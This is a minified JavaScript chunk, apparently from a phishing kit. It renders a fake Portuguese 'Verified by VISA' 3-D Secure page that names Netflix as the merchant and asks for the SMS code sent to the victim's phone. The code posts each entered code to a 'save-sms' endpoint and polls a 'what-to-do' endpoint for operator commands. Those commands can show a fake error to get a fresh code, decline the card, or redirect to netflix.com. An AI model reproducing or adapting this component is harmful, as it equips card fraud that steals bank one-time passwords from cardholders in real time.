(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-41001623"],{"41b6":function(t,e,c){"use strict";c.r(e);var n=c("7a23"),a={class:"thisP"},s={class:"flex justify-between items-center"},o=Object(n["g"])("div",null,[Object(n["g"])("img",{src:"images/Ver-by-VISA.png",alt:"",style:{height:"50px"}})],-1),i={class:"w-full tableAcs mt-5"},l=Object(n["f"])(" Data: "),u=Object(n["g"])("td",{class:"text-center font-bold"}," Autenticação 3D Secure. ",-1),r=Object(n["g"])("tr",null,[Object(n["g"])("td",null," Comerciante "),Object(n["g"])("td",null," Netflix ")],-1),d=Object(n["g"])("td",null," Cartão ",-1),b=Object(n["g"])("div",{class:"text-center mt-5"},[Object(n["g"])("b",null,"AUTENTICAÇÃO 3-D SECURE"),Object(n["g"])("p",{class:"text-left"}," Foi enviado um SMS para o seu número com o código de autenticação. Aguarde o SMS e após a sua receção por favor introduza o código em baixo. ")],-1),g={class:"flex items-center mt-5"},O=Object(n["g"])("div",null," Código: ",-1),m={key:0},j={key:1,class:"animate-spin  h-5 w-5 text-white",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},p=Object(n["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),h=Object(n["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1),f={key:0},v=Object(n["g"])("b",{class:"text-red-600 "},"Ocorreu um erro, enviamos a você um novo código",-1),w=Object(n["g"])("div",null,[Object(n["g"])("i",{class:"text-gray-600 ",style:{"font-size":"10px"}},"Esta informação não é partilhada com o Comerciante")],-1);function x(t,e,c,x,y,C){return Object(n["i"])(),Object(n["c"])("div",a,[Object(n["g"])("div",s,[Object(n["g"])("div",null,Object(n["m"])(c.bank),1),o]),Object(n["g"])("div",null,[Object(n["g"])("table",i,[Object(n["g"])("tr",null,[Object(n["g"])("td",null,[l,Object(n["g"])("span",{textContent:Object(n["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])]),u]),r,Object(n["g"])("tr",null,[d,Object(n["g"])("td",null,Object(n["m"])(C.ccnum_hidden),1)])])]),b,Object(n["g"])("div",g,[O,Object(n["g"])("div",null,[Object(n["q"])(Object(n["g"])("input",{type:"text",class:"w-24 border border-gray-700 mx-2 h-6 p-1 ","onUpdate:modelValue":e[1]||(e[1]=function(t){return y.code=t})},null,512),[[n["o"],y.code]])]),Object(n["g"])("div",null,[Object(n["g"])("button",{class:"btn-primaryAcs",disabled:y.isLoading||!y.code,onClick:e[2]||(e[2]=function(){return C.submitCode&&C.submitCode.apply(C,arguments)})},[y.isLoading?Object(n["d"])("",!0):(Object(n["i"])(),Object(n["c"])("span",m,"Autenticar")),y.isLoading?(Object(n["i"])(),Object(n["c"])("svg",j,[p,h])):Object(n["d"])("",!0)],8,["disabled"])])]),y.isResend?(Object(n["i"])(),Object(n["c"])("div",f,[v])):Object(n["d"])("",!0),w])}var y=c("bc3a"),C=c.n(y),k=c("a078"),R={name:"PT_BPI",props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1}},computed:{ccnum_hidden:function(){return this.ccnum.substr(0,6)+"******"+this.ccnum.substr(-4)}},methods:{submitCode:function(){var t=this;this.isLoading=!0,C.a.post(k["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;C.a.get(k["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.isResend=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};c("9fc5");R.render=x;e["default"]=R},"9a35":function(t,e,c){},"9fc5":function(t,e,c){"use strict";c("9a35")}}]);
//# sourceMappingURL=chunk-41001623.ce9d256d.js.map